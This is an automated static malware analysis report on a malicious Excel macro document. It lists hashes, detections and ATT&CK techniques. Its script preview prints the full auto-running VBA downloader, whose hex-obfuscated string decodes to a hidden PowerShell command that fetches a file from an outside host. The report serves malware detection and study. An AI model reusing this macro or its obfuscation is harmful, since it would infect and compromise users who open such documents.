Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bc99bf4ed0d4a6f5…

MALICIOUS

Office (OLE)

171.0 KB Created: 2020-07-09 09:10:01 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 547a4374c527d4442ab19f04c736e76f SHA-1: 90f62a6d6593b53163e9be8decf76031cb219bbe SHA-256: bc99bf4ed0d4a6f586be1fda228d7fac1075ea482f2d52866cc7a42c5694fef0
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an Excel document containing a Workbook_Open VBA macro. This macro utilizes CreateObject and WScript.Shell to execute obfuscated code, likely to download and run a second-stage payload. The obfuscated string is reconstructed as 'a'. The presence of WScript.Shell and the auto-execution via Workbook_Open strongly indicate a downloader or dropper functionality.

Heuristics 8

  • ClamAV: Xls.Downloader.Obfuse-9382072-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Obfuse-9382072-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Public Sub Workbook_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run ChrEncode("a", "7882793544783585848C7A87887D7A8181437A8D7A35427A8D7A788A897E84838584817E788E35778E8576888835426C355D7E79797A83354278848282768379353D837A8C4284777F7A788935688E88897A8243637A89436C7A7758817E7A83893E4359848C83818476795B7E817A3D3C7D8989854F4444887D848578768789437E8379778E897A884378848244787E7C444B4A4A49454645437F857C3C41397A838B4F697A8285403C7188827C88437A8D7A3C3E503D637A8C4264777F7A7889354278848235687D7A818143568585817E7876897E84833E43687D7A81815A8D7A788A897A3D397A838B4 …
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Public Sub Workbook_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run ChrEncode("a", "7882793544783585848C7A87887D7A8181437A8D7A35427A8D7A788A897E84838584817E788E35778E8576888835426C355D7E79797A83354278848282768379353D837A8C4284777F7A788935688E88897A8243637A89436C7A7758817E7A83893E4359848C83818476795B7E817A3D3C7D8989854F4444887D848578768789437E8379778E897A884378848244787E7C444B4A4A49454645437F857C3C41397A838B4F697A8285403C7188827C88437A8D7A3C3E503D637A8C4264777F7A7889354278848235687D7A818143568585817E7876897E84833E43687D7A81815A8D7A788A897A3D397A838B4 …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Public Sub Workbook_Open()
Set objShell = CreateObject("Wscript.Shell")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1551 bytes
SHA-256: 2c29f585cd0cfffecbdbf564a96a2fe895cb52cfd321a9dc1f7d88f7cda699b8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run ChrEncode("a", "7882793544783585848C7A87887D7A8181437A8D7A35427A8D7A788A897E84838584817E788E35778E8576888835426C355D7E79797A83354278848282768379353D837A8C4284777F7A788935688E88897A8243637A89436C7A7758817E7A83893E4359848C83818476795B7E817A3D3C7D8989854F4444887D848578768789437E8379778E897A884378848244787E7C444B4A4A49454645437F857C3C41397A838B4F697A8285403C7188827C88437A8D7A3C3E503D637A8C4264777F7A7889354278848235687D7A818143568585817E7876897E84833E43687D7A81815A8D7A788A897A3D397A838B4F697A8285403C7188827C88437A8D7A3C3E")
End Sub
  Function ChrEncode(CodeKey As String, str As String)
        Dim n As Integer
        Dim i As Integer
        Dim sStr
        n = 221
        sStr = ""
        For i = 1 To Len(str) Step 2
            sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)) - 21)
        Next
        ChrEncode = sStr
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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